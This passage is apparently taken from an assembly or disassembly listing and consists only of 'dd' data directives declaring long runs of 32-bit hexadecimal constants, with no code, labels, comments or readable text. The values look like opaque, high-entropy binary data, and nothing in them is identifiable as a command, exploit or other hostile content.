		dd 0F92D9D70h, 963A0344h, 0A5D038D3h, 410060E8h, 2A14DF1Dh
		dd 17AD7E18h, 81176DF6h, 52D76564h, 7A11CC40h, 0A07D70F9h
		dd 9D3A4C00h, 6D2DE48Dh, 78DF022Dh, 85F24B4Ch, 805CEC50h
		dd 19C5311Eh, 0A80C0123h, 4053B80Fh, 30402A4Fh,	0BD0E7B2Eh
		dd 0C7FD0E4Eh, 0EA03BFA1h, 8CD081F6h, 3C27301Ch, 98CD87Bh
		dd 0F42C4CECh, 60EFC8D4h, 86DDD814h, 53B70C36h,	5A30AFCFh
		dd 89E4EC34h, 209C32BEh, 7E10095Fh, 591180C8h, 708DDD18h
		dd 0FA9A544h, 0D0DB0F0Eh, 0E2D5C760h, 70979029h, 440B5B8Dh
		dd 8CB21DF0h, 7A3017E8h, 0BF7941A0h, 44983AB3h,	5E532D00h
		dd 9711740Ch, 107F6607h, 5FD08A9Ah, 4E606850h, 0ACE2BEh
		dd 0A16A58EAh, 7D9F0E8Bh, 1F920F53h, 0AE60A55Ch, 0BE2D2098h
		dd 0CC61EE04h, 0A499FF3Bh, 8D780B6Fh, 0A30028E4h, 0ADD1A50Eh
		dd 0A2F93Ah, 7AC6501Dh,	3EEF4045h, 72BFA61Dh, 270A1A81h
		dd 60C251F7h, 98FEC2D8h, 9D9FB060h, 5470D068h, 761AB140h
		dd 0B81C2F28h, 99D89800h, 77000D63h, 0A590643Eh, 35BA133h
		dd 235FAC6Ah, 7C8C1B9h,	1D167AAFh, 0D8F2D95Eh, 0C3007694h
		dd 0CB70A662h, 0B40025F2h, 0D720E209h, 24853360h, 2D2076A1h
		dd 0EC083851h, 59A28BFFh, 0D740F059h, 0C1099384h, 0B95C54DCh
		dd 0C0547C60h, 45E3B699h, 2D2A0522h, 8838A89Dh,	1A2DDFD0h
		dd 0ACCE65Fh, 0F2D0924h, 4DC66488h, 4EC560C9h, 39B22000h
		dd 0C0003B79h, 85C565ACh, 7BD2C5Fh, 9EE783C3h, 6EF9C093h
		dd 0B716F28Fh, 0E0306AB2h, 7527AD9Dh, 0BD79B8h,	8EDE5F58h
		dd 95FD7B94h, 4A62C50Fh, 0B0ED93ECh, 577E5308h,	4E0B4AA6h
		dd 79B40091h, 0E041507Fh, 4DEC13DAh, 2BDC83AEh,	0C8E224B4h
		dd 0FFB50800h, 55AE7CF0h, 979DD926h, 35A7BA00h,	90B93B9h
		dd 254D109Eh, 31C2E0F6h, 70F220D4h, 92E7386h, 924064F8h
		dd 0DE5116h, 5B394388h,	742B8C78h, 584EC73Ch, 3C1C0078h
		dd 994053Fh, 862C0770h,	774C5057h, 4FE17F4Eh, 34BFB35Ah
		dd 0CBB59D9Ch, 241EF2C4h, 80B0FCFCh, 855D2469h,	9656003Eh
		dd 359E0C15h, 0AEEEC9E3h, 0EF846005h, 0ACF888CFh, 0DED48Eh
		dd 0C97C31Ah, 0CF3D703Eh, 0A8538007h, 0AE4F86E0h, 13EA38CAh
		dd 0D218205Eh, 0A804A134h, 5EF24FECh, 745A29C1h, 0C802FF45h
		dd 0F827E1BFh, 38643A78h, 0ACD91AA5h, 6508B00h,	4DECFDACh
		dd 0F1C858B6h, 9205944h, 0F84E2DD9h, 161054h, 0D835D50Ah
		dd 988B8C7h, 40FFA3E6h,	90410D9h, 20BB286Eh, 0FAE0B55Ch
		dd 865A1B01h, 0F352258Eh, 15849C8h, 4DC37B50h, 4036D2F8h
		dd 0ACBE85CAh, 203BE079h, 0BA7B0F75h, 4D1838D0h, 4852039Bh
		dd 0C134AF09h, 0BC20A792h
		dd 439305h, 0CD2CD064h,	2800ABBh, 36C4700Fh, 65A7C034h
		dd 0A6A007h, 0C0BC75A9h, 2F4B43ABh, 0F7E49B03h,	0A69248D2h
		dd 0F7AD5C50h, 50A67800h, 667147FCh, 565C7E1Bh,	0CFD1BBA1h
		dd 0BB429DB0h, 0EC4B00E5h, 0D81E06BFh, 61012CB8h, 5009643Ah
		dd 3F206732h, 2BB100A8h, 0C499B68Ah, 0B006ACCh,	0F8EFBCE2h
		dd 0FDA465Fh, 6474FB15h, 69535CE6h, 2E1F4F01h, 0D5A3B27Eh
		dd 544B42C8h, 0DC415833h, 0FC4C0F29h, 0E3A878CCh, 9D28BCFCh
		dd 8500ACB8h, 796CFAC6h, 79447BDh, 175DEE92h, 6088AAA8h
		dd 34E3C084h, 91A8D254h, 0F07CAD00h, 0CF27862Ah, 0A8472A52h
		dd 102C43CCh, 6F297889h, 0B60D00E4h, 854BCE3Fh,	884AD307h
		dd 82CE1CA7h, 20F6C58Eh, 34C63AF7h, 3111A960h, 25CDFEh
		dd 419DC06Eh, 36BF0AB0h, 2601A97Ah, 0E60E5540h,	4CF461D0h
		dd 0F8C5184Fh, 0D2B9E192h, 20A02CA1h, 0FD407D10h, 18ED78ADh
		dd 21CE354Bh, 0CF00CA3Bh, 8E18173Ah, 4B0EEC2h, 92766103h
		dd 3EB0BAF2h, 0B6270133h, 429C8B52h, 87A9E043h,	0FA78097Ch
		dd 245CC554h, 63735A00h, 0BA29C214h, 8FF6043Bh,	803CAB52h
		dd 0E5908BABh, 5C5DD02Ah, 6AAF344h, 8C9C52CBh, 0D022C91Dh
		dd 53C51818h, 0D47729C4h, 0B4244A14h, 43D20FA4h, 34289054h
		dd 35CD006Ch, 0D2AF4FEDh, 21C11F44h, 772B76ADh,	377B5AECh
		dd 0D019595Ch, 26E84B40h, 9823EB00h, 8D184FBCh,	0B93D03C3h
		dd 279D511Ch, 5C0FF80h,	0B605502h, 4074C730h, 9135E39Ch
		dd 10590014h, 845A436Ah, 0C9DCE124h, 963CA01h, 52D4E41Bh
		dd 1C9F31A0h, 10E6D1E1h, 88B67018h, 0A23D69E4h,	0ED5E80CAh
		dd 0D3DA66B2h, 0AD8B2479h, 73FC0838h, 0C5438644h, 4103BB52h
		dd 8A5D56DEh, 1846E8B9h, 0E2D10136h, 6F4F147Eh,	0D64C24D3h
		dd 0F6AA633Dh, 0EF98AB00h, 3D50E7E9h, 9B5812B3h, 88841460h
		dd 644AB000h, 12FFA9Fh,	6124A748h, 4C1EF970h, 756FAD10h
		dd 310088DEh, 42598CF3h, 5FCA009Eh, 345319C9h, 3D052645h
		dd 585CC3D2h, 9316BC40h, 0FFAA6Fh, 29AFCED9h, 14CA4821h
		dd 0AC3B6328h, 0A5C344h, 2569A634h, 38FD5B67h, 0E7D9CB1Ch
		dd 0ACC5C040h, 7F4B6478h, 0C37E0346h, 0BDC44C56h, 9325900Eh
		dd 8BFCE463h, 445BA8D2h, 64870008h, 4D761CE9h, 2D00D393h
		dd 55883A24h, 9D53525h,	0BD260EAAh, 32A0F425h, 0DC9004BCh
		dd 9D131166h, 340276D8h, 80BD984Ah, 60AC25F0h, 8CA46Eh
		dd 7B818AC8h, 0DC47B555h, 95F93Ah, 0D4FB18F1h, 29E4AEB4h
		dd 87BC5F9Dh, 0A9176382h, 6EB70C10h, 83AA673Ah,	0E10690C5h
		dd 0CB89D0C7h, 79462A56h, 661B02ECh, 0AC1831BCh, 95FAE863h
		dd 0ED087711h, 1270F83Ah, 100424ABh, 0C504B3CEh, 0CF854FFDh
		dd 1FE91835h, 8AC0055h,	6BFB092Ah, 0BD6564C2h, 87AFCAA0h
		dd 0CFA91378h, 0F0408DDAh, 4984AFB1h, 0CC84DCF9h, 0DE8D00C3h
		dd 11195EAFh, 0ECF3538h, 4964A7h, 0CD143ED1h, 66AA0016h
		dd 0A84AE27Dh, 0F80063FEh, 6D34EB5Dh, 98CCB6h, 8756BAFBh
		dd 0F6C7E03h, 5C2A513Eh, 0B33200C8h, 64497877h,	0D9D16F6Eh
		dd 51986CE0h, 1500B082h, 0B6C623C4h, 148CEE1h, 0C12CB244h
		dd 83AC4B56h, 0CFB9A131h, 6FA115FEh, 2E00E869h,	0DCAEC649h
		dd 2F00F404h, 6F1923F6h, 1C112005h, 0D3692922h,	95C00424h
		dd 7D6F46CFh, 78F3959h,	2B1D18Fh, 441BDAA0h, 97077B17h
		dd 4DE7ACC6h, 9B48203Bh, 1253F0Eh, 488EC3E1h, 80CACEBAh
		dd 6CF8EE91h, 0B018780Dh, 0BCD55308h, 5B249B22h, 6C807852h
		dd 0DA7C602Dh, 0FB7E607h, 0FC345F0h, 53EC0456h,	78A0804Ch
		dd 51F5E9FEh, 421640h, 58A2B9D2h, 0B310BCE3h, 90948E95h
		dd 53200420h, 0CBBA2C6Fh, 25944244h, 6A00BC46h,	84F21EDBh
		dd 3A2C25Dh, 0A69BBCEFh, 7FD8612Bh, 7B1D4929h, 8012C61Ch
		dd 60E6F000h, 125B45DDh, 354421h, 0F682380Eh, 90CCB92h
		dd 0F1C24FD0h, 3CD750B9h, 48E20A9Bh, 44ECB17Ch,	42D245A8h
		dd 7AC58C27h, 8441BCCCh, 52C0E8A0h, 880248B0h, 0B345C493h
		dd 38A540E5h, 8E1C15F3h, 0D60A9037h, 13284F36h,	74CC544Bh
		dd 0FD31B93Fh, 80686F91h, 41E5BD19h, 868958h, 49E951DDh
		dd 0CACFE88Bh, 0F0D93503h, 0FBBEC93Dh, 0D2580613h, 48D19547h
		dd 0AEDC093Ch, 0F5663C68h, 5C51061h, 0A65C78C4h, 0A8407E38h
		dd 193D68D2h, 6E3029D4h, 0E9DC08B2h, 0D454FB64h, 0EA3A7602h
		dd 28CB9AAAh, 31380A1h,	0DD10F6Ah, 38005F49h, 890241C2h
		dd 130005EAh, 356110E4h, 7C4E1E8Dh, 7B31D87h, 0CF04028Ah
		dd 2451259Ch, 4D77B800h, 7F0F38h, 62067181h, 0B8034E5h
		dd 92EC9F3Ch, 40508850h, 224052BCh, 44849098h, 0BA79257Ch
		dd 3EB18462h, 21D02675h, 79477B00h, 0D8AB6544h,	99620003h
		dd 0BA17AEC5h, 35009C6Eh, 1BD78F6h, 0B8B1E373h,	1C9C92D0h
		dd 559D957Ch, 640090BCh, 563DB923h, 0EC018607h,	5F15E5B0h
		dd 52DCE802h, 1669246Dh, 0B2100844h, 8C41E644h,	7826D135h
		dd 0BBBC40B5h, 86D284h,	37930E0Ch, 1714ADE3h, 0C8E425h
		dd 169F2040h, 523651Bh,	0C8981859h, 0B2209094h,	0AD098F72h
		dd 1247D6E7h, 4F846168h, 0A62CA473h, 6E74086Ch,	3052DF44h
		dd 3E1C6654h, 6E480D04h, 68C37CB0h, 5140F4B5h, 17213338h
		dd 4590A048h, 0A2CC4440h, 42080148h, 0FE164ECCh, 5C7A26E0h
		dd 3306869Ch, 88EF96A4h, 28227843h, 982C6CB3h, 579CF910h
		dd 8E740EE3h, 0D2E42072h, 4E01ED8Ch, 0E94DB9FFh, 0A5D41DFCh
		dd 0C06F7E6Ch, 0D16386D1h, 5301A7CCh, 5B2824E4h, 0BAFF3E8Ch
		dd 904053CAh, 0BFFC8404h, 0B7CCDE40h, 5E28B291h, 0E317D0FBh
		dd 464678h, 90408B58h, 0D0564524h, 81C6CF79h, 549C79Ch
		dd 58D83DD4h, 88B8C409h, 58B28418h, 6D116760h, 0BCA40Eh
		dd 3EED5AEFh, 0CEB5B80Fh, 0C57A7000h, 44821827h, 8823EB4Bh
		dd 423C4328h, 265FDF4Eh, 0ACDA7249h, 0A08CB170h, 72AE25E0h
		dd 409C03C2h, 0CF100D43h, 38768B98h, 2550B20Ch,	0AB11877h
		dd 0AE6641BDh, 20B82CF4h, 24A14C60h, 21DD427Fh,	60F426DCh
		dd 0ACDBC0E2h, 58D2400h, 0C9C3E9C8h, 8600BAFh, 0E882AD4Ch
		dd 98124D67h, 9C40D298h, 0CD348C08h, 0C8E12B51h, 0A309CBAAh
		dd 2267D2DEh, 18542FCh,	8069AB9Bh, 9D4CBE89h, 5204E3C3h
		dd 3E24B472h, 69DB002Bh, 74E93C41h, 552CE100h, 0D6A0F475h
		dd 4A44A1Ch, 226E4404h,	0C86F2540h, 2003C30h, 58E7939Fh
		dd 122252BBh, 4E65333h,	10F9719Ch, 0C0544898h, 1816AAABh
		dd 34D35CBAh, 0AE800DB2h, 480CC6ACh, 0A0048F00h, 5453A517h
		dd 0CD6B0180h, 0A727F920h, 0BD705165h, 0D0C060C0h, 22D61888h
		dd 9CA14635h, 43A43492h, 0AC475286h, 0A200A422h, 7E400595h
		dd 26AE03h, 0CF964419h,	0FB5F0A1Dh, 0EC3EA912h,	0AD1C2404h
		dd 4C946CE0h, 8AC404C7h, 4D9CC0CCh, 0A098D50Dh,	0CC2613Dh
		dd 71505C24h, 3F927822h, 132EFEA7h, 0B06D0864h,	44E0742h
		dd 8810E2A6h, 0B09494DCh, 4AABC910h, 0F0EC4830h, 0A36B00A9h
		dd 437EEAD2h, 0D61DF9B5h, 2E038E17h, 78D7A52h, 46917998h
		dd 0E2C73418h, 666040CCh, 5126630Ah, 97909C8Eh,	12905ECEh
		dd 5C287404h, 0EE9C890Fh, 0A906C0A0h, 0EA003BEDh, 1B9A9284h
		dd 0DCD645CAh, 0FF6E03B2h, 0D011EE24h, 9E08AD41h, 851DB59Dh
		dd 0EF0E8180h, 0C69CBAh, 4FE27B11h, 3CACC9A0h, 94C2A62Ch
		dd 0CAA7E101h, 0A03C798Bh
		dd 4948FD80h, 23B9B75h,	866FC015h, 0FB869074h, 0D611E472h
		dd 408448FEh, 0BD615B64h, 60E2AE31h, 716B9DCh, 0A63DA952h
		dd 50F2505Fh, 4C9130ACh, 84C46589h, 80894FDCh, 1E1DA020h
		dd 4BE462E2h, 740084B7h, 411760EDh, 389C60E5h, 68DD4C86h
		dd 0C841C6A1h, 78B8867Ch, 109089FAh, 0C2488D71h, 0C542C444h
		dd 237DBC82h, 99BE3CD2h, 79D0AD59h, 601B4586h, 0FA42CAE0h
		dd 0B4017522h, 4B712D7Dh, 34CCD011h, 48A00283h,	1409AC54h
		dd 889DE081h, 5FED0033h, 0ECE00590h, 88A175F8h,	670FF4D8h
		dd 80035A6Bh, 8EFE667Fh, 7DB5E6B4h, 9D4F0D45h, 0C8624344h
		dd 0AE59DDF9h, 0BC6E2EECh, 13E99540h, 5FD80092h, 30824C9Dh
		dd 6700C638h, 66C0D2B8h, 6A962Eh, 0CA0C1B83h, 7CA66461h
		dd 3BEF880Eh, 0F4754A7Dh, 17CCBE00h, 0A92443h, 1B7C77A3h
		dd 0A00AC99Ch, 32189F77h, 6D300F7Ah, 0D1180089h, 6B078B45h
		dd 58004094h, 0D0023FA6h, 0F9BB753h, 0C76D5025h, 374EBE80h
		dd 813C9136h, 0F706092h, 0C07C96E6h, 0FE2C7150h, 500BDF9h
		dd 1C672B60h, 0C088E528h, 0C8F2C021h, 0C2FC9A65h, 83AFBC14h
		dd 0A1863392h, 7C9EA8EEh, 8C663057h, 0F87E0FD1h, 0C5240A1h
		dd 0BA508888h, 82D17962h, 211C8098h, 156BEF08h,	8C79EA7Ch
		dd 0A203F301h, 8010A636h, 0A9544F28h, 2D26258h,	4AE2CE20h
		dd 9CC01365h, 830018F3h, 8BDEB2FEh, 74580AA8h, 14BB008Ch
		dd 71DF70E9h, 0BA00811Ch, 536FE320h, 0A13D76BEh, 0E6118350h
		dd 3400D240h, 9EC5D3Ah,	0B6285A12h, 52C6B881h, 0CF77F8A5h
		dd 0E017220Ah, 3D18E5h,	0D2992AD4h, 509B46h, 0C2234B7Ah
		dd 0D3BD7BB6h, 45BC2400h, 6FC67DB0h, 0D2FB00DAh, 2C024B55h
		dd 61076435h, 6859EDA7h, 23E39090h, 80A90013h, 0B64BF726h
		dd 0AB7515FCh, 2860A6EEh, 7F3CF239h, 105163DDh,	193E5DD3h
		dd 0BF8700DBh, 5AB1F904h, 101A0FE4h, 7683DF8Eh,	281B5229h
		dd 0C031D531h, 0F4A6776Ah, 29550328h, 2BF8B061h, 0B5A22807h
		dd 112C3376h, 1028F402h, 2C01ADh, 6B12F905h, 6D95A64h
		dd 0D430E144h, 0A00F5936h, 4FECF4FBh, 22D7C0A5h, 14589AD8h
		dd 4451813Ch, 1D4ADB11h, 0D1F019EFh, 5994F5h, 0CEC31329h
		dd 60FF533Dh, 9698200h,	0DCE49DD1h, 3C5D03B6h, 361D4BA3h
		dd 17385100h, 40AE2953h, 5D320AE9h, 802C6AA5h, 8548AB58h
		dd 6073E679h, 8600437Fh, 8774F2D7h, 1FB02E9h, 254B41B0h
		dd 430123A0h, 2BB0D9C8h, 0B8A5823Ch, 8CBBD180h,	0B3578Bh
		dd 7FB0BED6h, 2009D3C6h, 4E35812Eh, 0D730FC02h,	0B8748818h
		dd 1A60721Fh, 6964848Ah, 8C89FC01h, 0B607602Ah,	22FCBC53h
		dd 0D1871504h, 0BA00C8F4h, 0B539CF3Ah, 8403ED10h, 1873BB2Eh
		dd 0AED59011h, 0B441D0B4h, 3CC4D73Fh, 982A802Ah, 0AED3F703h
		dd 75A2D675h, 0D22D4429h, 1A801274h, 15DE0072h,	4D93EF7Ah
		dd 9F00F384h, 0B0D0AC90h, 60D2A2E4h, 76C1A159h,	0E8004A71h
		dd 3034C254h, 49536955h, 407134F7h, 5B008732h, 0B0362823h
		dd 22D307E6h, 2602FEF7h, 0D871D745h, 501849A2h,	6C0C5849h
		dd 760144FAh, 0C2D057EFh, 64863DDFh, 0B40159F9h, 9A4C443Bh
		dd 89E806DCh, 0BECE05ACh, 0E589B0Dh, 1871A7B4h,	0B441357Bh
		dd 60101EE4h, 86A68419h, 0B694914Eh, 341D11F5h,	3201A1BBh
		dd 395AC3F2h, 0CC1ED8FFh, 33A7091h, 0BE61264Fh,	0F7390CFAh
		dd 0F27153B0h, 0E2E76A2Ch, 614D110Ch, 212A89BAh, 0E62402D8h
		dd 136AA483h, 0F6BF8910h, 0EC00229Eh, 0B8EE4CE2h, 60CDE5F1h
		dd 532C19BEh, 3014C5DCh, 8F9042DEh, 1600900Eh, 126A9310h
		dd 0E5001B44h, 0EBE83B90h, 6A30154h, 0B8FDA9E7h, 6343A85Eh
		dd 0F728C522h, 8E0434AAh, 559E7DB7h, 0F8E078C7h, 244E1ACAh
		dd 4060D231h, 0C601DD9h, 0D88F0900h, 5F46F666h,	0E1A004C1h
		dd 8C6586F2h, 8D48818Ch, 22234h, 0E5F96CE8h, 98AF1248h
		dd 54040F0Fh, 82C820E2h, 0A4699EC7h, 15F10318h,	6FD3739Dh
		dd 53EFBEA0h, 0F4BF5A04h, 50C0A1A0h, 8BA2D845h,	5CD34694h
		dd 838A3941h, 0CA4EA480h, 0B6DBCB03h, 403D1D26h, 453D3591h
		dd 0E4923B00h, 0D50846B1h, 7F13C301h, 2EFA1AF8h, 0E9F990F8h
		dd 0E80D5C21h, 196BA802h, 0B53110ABh, 0FB9226D6h, 0F3D20C9Ch
		dd 0E2007B19h, 86D45415h, 1440AB71h, 9D569128h,	9C2728h
		dd 0FDED5853h, 2DC9A5F8h, 0CE0C360Ch, 0BB10D7h,	0E6D3674Dh
		dd 1DF57FA0h, 2DD0DD12h, 0ABD00437h, 0F90405C2h, 41E4BDF5h
		dd 1E5B0FFDh, 2241230Eh, 31E0368Fh, 0C940461Ah,	32541490h
		dd 3600FA84h, 45E01F20h, 90A9A039h, 0C44C00C2h,	30A18162h
		dd 39C148D6h, 0F1E96F3Ch, 42E19830h, 2958223Bh,	5B07E3Ch
		dd 2BD614Ch, 0F34AA238h, 4642ACC0h, 0F270380h, 522DEAA1h
		dd 3CB8C04Eh, 6412FD85h, 80043A4Bh, 4880C904h, 30DF69ADh
		dd 0B511A7Ah, 0C400CB22h, 3126893Ah, 2AC2AEh, 97B1F18Ch
		dd 33196988h, 626889C0h, 9BC420Fh, 0A3F859E2h, 32E0D884h
		dd 8482123Eh, 61233732h, 7C186CAh, 0B0F820D5h, 0C129C73Bh
		dd 209107D6h, 30150178h, 9F8F7D2h, 3B8C77h, 0B63DF622h
		dd 261CB092h, 11D82737h, 9C6B013Ch, 0B890A3AAh,	7C60DBC5h
		dd 507E6B82h, 0DEC52421h, 104A12A2h, 0CA0178EFh, 9C7DBEF1h
		dd 0C041032Ah, 40141BD5h, 0BD4D1944h, 0D848A02Eh, 0AA210006h
		dd 0CFB7D179h, 0B8E3488Fh, 0ED006022h, 1E77ADECh, 5BA7C6Eh
		dd 25C4D68Dh, 0F6F405F3h, 0F488103Ah, 79085921h, 6003832Ah
		dd 7918FBCAh, 2C19ABF7h, 65CF3D8Bh, 2A2414C9h, 77F11198h
		dd 54D6AF06h, 225022F7h, 4C033585h, 0AAF38D29h,	18497651h
		dd 0B8D513D2h, 19C0DC19h, 6A2D8B6Fh, 0BA68009Fh, 32016C17h
		dd 0CA130C58h, 1404E010h, 7E44D96Dh, 203490Ah, 11128000h
		dd 0F8821437h, 0AAA220F4h, 0F2175683h, 0E0166EBAh, 927BAC30h
		dd 14789817h, 5C287D33h, 0E8371050h, 0D16A07F3h, 203DCD1Ch
		dd 180A61E9h, 0F0D32E07h, 54705633h, 541EC81h, 0DB637C4Ah
		dd 9A1EBE02h, 5DA8F3C5h, 0FCCA4805h, 2651AC32h,	75F8097Bh
		dd 8492C13Fh, 0D3FE32C0h, 0D719BFF8h, 30E321ADh, 12420358h
		dd 1D52E522h, 0B4F300A4h, 6FD13378h, 163F43Ch, 4A91255Ah
		dd 403652A4h, 237BF7D4h, 2A0988B8h, 0D039D3h, 0DCB607Ch
		dd 7E28A62Ch, 0EF4712Ah, 0F7F16385h, 616E5BE0h,	4C280DDDh
		dd 6542CCF0h, 7E098111h, 7F33870Ch, 384A1126h, 0B392FCD3h
		dd 457803F2h, 1E783DAh,	5118D27Ah, 82974C0h, 4D6FF08Eh
		dd 852150EAh, 6B0C2591h, 0BCA9D819h, 0B15039h, 3DA3EC6Dh
		dd 1571AAAh, 5A082807h,	0ECED544Bh, 81C8043Ch, 0D24C8280h
		dd 4410AE9h, 0D1898A96h, 1B80ACFDh, 4A786D5Bh, 67253054h
		dd 0DE37DB78h, 327B2318h, 0F09EA389h, 0D6830F0Ah, 3726A1CEh
		dd 7D00402Fh, 0BE53360Fh, 4EB134h, 7486AAC9h, 0B270A0F7h
		dd 0F21F1403h, 8CED6355h, 63C124C2h, 46B192ACh,	0F76A0298h
		dd 0E1B65FF9h, 0D104CC47h, 0A89CD604h, 25B2009Ah, 438BA8B6h
		dd 2C3D1362h, 0A3B8DDh,	0DB1D745Ah, 1AAD109h, 34D31755h
		dd 0E0C47539h, 0F7005F7Fh, 2A811808h, 383224Ch,	6A56FA82h
		dd 4FC2B679h, 6BF280E0h, 64B5F324h, 39401F64h, 0DF06E9BEh
		dd 0F5D20101h, 475B25B4h, 6B107ECh, 5172E29Fh, 9E2551F3h
		dd 1980A929h, 8E08B23Ch, 0D2E4CA14h, 2AD91080h,	6010A22Eh
		dd 65CD0F81h, 0ADEBEF3Dh
		dd 2CFB7C9Bh, 7351867Ch, 7CB2846Ch, 1AB61E14h, 6F400EBh
		dd 2DE4299Dh, 12507E4Ch, 5ACECF3h, 80DE2789h, 20B081DCh
		dd 7AA32200h, 0C26A7D54h, 0BA26030Eh, 0F441D192h, 0E0DD6803h
		dd 64D2CBh, 3627F891h, 662A82F1h, 78BFCE07h, 5CF03356h
		dd 962FDE1Ah, 14A8608Ch, 0CB005917h, 7958B5D8h,	0E1F5F70h
		dd 3A436772h, 0D9F4D343h, 852ECFE0h, 3603E800h,	0E4530B26h
		dd 8D05081h, 14DC51D3h,	9C7DABE0h, 0EEB28208h, 0CC612D07h
		dd 0DD0828h, 549B82E4h,	70C0CB6Ah, 1310620Fh, 430380D3h
		dd 1851264h, 0C35A0FD4h, 31E0533Ah, 0CC080574h,	8B002D28h
		dd 0C74C74C8h, 7F31E34h, 6B26C117h, 0D1AEA1DCh,	0AD8064DFh
		dd 5C611244h, 893ACB4h,	5D805C60h, 0F711DB58h, 59C02CF4h
		dd 312B075Ch, 3CD1ACD8h, 0A2E17425h, 1143DC38h,	9100D20Fh
		dd 1A313B2h, 0E2B9D1C5h, 0D88DF111h, 3C077A7Bh,	0CE7E2CD2h
		dd 40D38042h, 0F0B52A9Ch, 9B0A00F2h, 0A73BE258h, 554C1702h
		dd 0D8099348h, 2BCC305Ah, 1167793Ch, 0FCD2F1h, 90CB45CFh
		dd 49F27BDFh, 0B5C970E3h, 0AF31E0C8h, 1796EE3Eh, 140458A3h
		dd 9CB47A9Dh, 41F2B7h, 0D292269h, 0E5A53EF4h, 0F7CB7001h
		dd 0C9B75FEBh, 2C499C48h, 1134B9DDh, 447C5056h,	6AB81812h
		dd 80579408h, 94F38666h, 147C283Ah, 0C2005891h,	73BD1D60h
		dd 0E87ABEh, 7B56E7A5h,	0C47A913h, 0A1E3310Fh, 86DCF4D2h
		dd 4CC909CBh, 0B28FC01Dh, 82A89580h, 0EC0028A5h, 0AE6E6C70h
		dd 75D10F7h, 603C64FEh,	8CEE906Bh, 584E9767h, 0DF9B7420h
		dd 718000E9h, 56964C0h,	4D0FCA89h, 745423A4h, 0C8600E90h
		dd 0D8900ACEh, 0E1FEC680h, 0A2EF589Ah, 0F2D811B4h, 5C18A3DCh
		dd 0CE80D07Bh, 43926285h, 0DBF90C00h, 0E201D7F7h, 8C415C7Bh
		dd 6C85BE07h, 0D61ED8AFh, 0A1C0ECEEh, 96D35818h, 45EC8068h
		dd 0E4CDACFEh, 0AB005FFCh, 0D587DB20h, 124BA540h, 22CA461h
		dd 3119DF42h, 704E2048h, 535C1A00h, 5B58DA9Ah, 0C7CC0116h
		dd 7768A5A1h, 2AC32A6h,	0EE7DB18Ah, 0D8D4E931h,	0FFA0A838h
		dd 77029B47h, 456EB4E4h, 1960C121h, 25512980h, 4F96C49Ah
		dd 8479922Ch, 8A2DFF00h, 0F8288Ch, 7A418293h, 54A08133h
		dd 5AD3A0C6h, 9C275E1h,	9BAE6239h, 32D13000h, 0B002B4ADh
		dd 0ABE7F69h, 0C08C4A43h, 8851C0C4h, 19027927h,	0EB7A1B4h
		dd 22C7B08h, 3B16096h, 4902205Ah, 0D07EEBD3h, 3AD07A7Ch
		dd 270E97F9h, 0D1E0DB57h, 8EF05540h, 69B5E400h,	24F7F28Ch
		dd 15533DF3h, 377D7860h, 7098CA36h, 8B126900h, 0F262A17h
		dd 87ED2C13h, 7E521150h, 6D0C1D01h, 34FD676Eh, 3E981EE4h
		dd 0FB078A12h, 0C0513F25h, 0AE4F14D9h, 3961D230h, 84BBA5h
		dd 801C338Dh, 0EE9CFF16h, 0A7762800h, 53CB013Ch, 48D75481h
		dd 0DD7CA0ADh, 54125CFBh, 0BE00B05Dh, 0ACA2F1F5h, 1154D209h
		dd 0E9009D88h, 6853EE5Dh, 0EF77C3Fh, 7EAE9390h,	0A338CCFh
		dd 2EB8BD9Ah, 0B97A42D4h, 75E32868h, 0C7D55E04h, 28A22949h
		dd 6D5D3300h, 13F3AE8Dh, 0A4944890h, 10876E40h,	6F731FF1h
		dd 0C2411FF6h, 0AA92C3CEh, 1052B402h, 20E14FE3h, 0E0A40CC0h
		dd 0AC2B1A2Ch, 0E80E361h, 22A5D60h, 9B056EABh, 0ACE0120Fh
		dd 0F4180B5Dh, 615167A6h, 0CB9D4B7h, 0FCABD327h, 0A1818400h
		dd 0F324D89Dh, 0A69338C0h, 6B57A020h, 2CFF3BD2h, 0ABC77A6h
		dd 0C288833Ch, 24502499h, 51DB7910h, 615BD319h,	0FC8AE9B8h
		dd 4504497Ah, 0F4A35DCDh, 577448C1h, 5864C433h,	0A8206476h
		dd 74C313C2h, 60B75C67h, 0B5646B00h, 0AAFAA51Dh, 48D9A402h
		dd 686A18D3h, 0CB04B6D4h, 60681DE9h, 2401CC8Dh,	63B779A2h
		dd 74C45083h, 0A484009Bh, 516B8790h, 0E6119C1h,	0AE25F781h
		dd 5002822h, 0DE1FDBD6h, 363295ACh, 25DDA02Dh, 4FA0C8D2h
		dd 0EC8E0D00h, 0BDA4A3A6h, 0CD200B85h, 8C80FC05h, 0F24A8DA0h
		dd 1928B103h, 80A16A2Ch, 698333A4h, 0E582A9E5h,	624029FCh
		dd 0B2435A6h, 0CC80DCA3h, 0C930EDC8h, 20DCB008h, 8B131E96h
		dd 5C0075B7h, 0C9609161h, 98E207E7h, 0A002C35Eh, 21CBBDF8h
		dd 0BB102000h, 90383081h, 29700063h, 0FDCF36C8h, 9D00DF3Fh
		dd 0BF04B051h, 0E50C091h, 29D89CEFh, 6636D700h,	300F7FFAh
		dd 1F22F8Bh, 968E7E60h,	631071C0h, 1DE5468h, 4FF1AFC8h
		dd 80318770h, 8F6A08E0h, 3ADD2980h, 1543740h, 80D07451h
		dd 0A38587D0h, 3D200DA2h, 98876818h, 0E329AAC6h, 2BA01F81h
		dd 6936999Ch, 0CA49A7h,	0C725ECB1h, 671CD0A2h, 79FAE507h
		dd 0CA5191F4h, 0C570D6D3h, 80FB0131h, 107EE858h, 2773C097h
		dd 0A1353Eh, 3862120Ch,	23488Ah, 6159F191h, 0DFBC2A18h
		dd 0B7E0F00h, 0E1578F7Dh, 0C021F807h, 31957140h, 8403DCF1h
		dd 0B4B84EC9h, 113BB0C3h, 6CAF00ABh, 0A7D5E577h, 8D909291h
		dd 22B2EA00h, 4FF9DFA9h, 3A73004Ch, 0A45D3E81h,	911C9212h
		dd 0FCCFFBC1h, 4A168364h, 0E0568B35h, 0E25710D1h, 92903BBh
		dd 768689D8h, 8D7EC91Bh, 2BC4C091h, 9E4903F4h, 0A66976B1h
		dd 0C1EB1900h, 0AC623412h, 0CE9C00BCh, 54903F5h, 63030D37h
		dd 1F90850Fh, 9E022E8h,	0BF05C000h, 141EE759h, 138C093Fh
		dd 30036AC9h, 810063E9h, 0BA7CA704h, 3351F32h, 0FB280D02h
		dd 0F08870E3h, 7B0CBD4Ah, 3166E981h, 8E5B07BBh,	9E0A2D38h
		dd 0B2E8CBA0h, 2F3930DAh, 26EC00FDh, 15998576h,	8988C05Dh
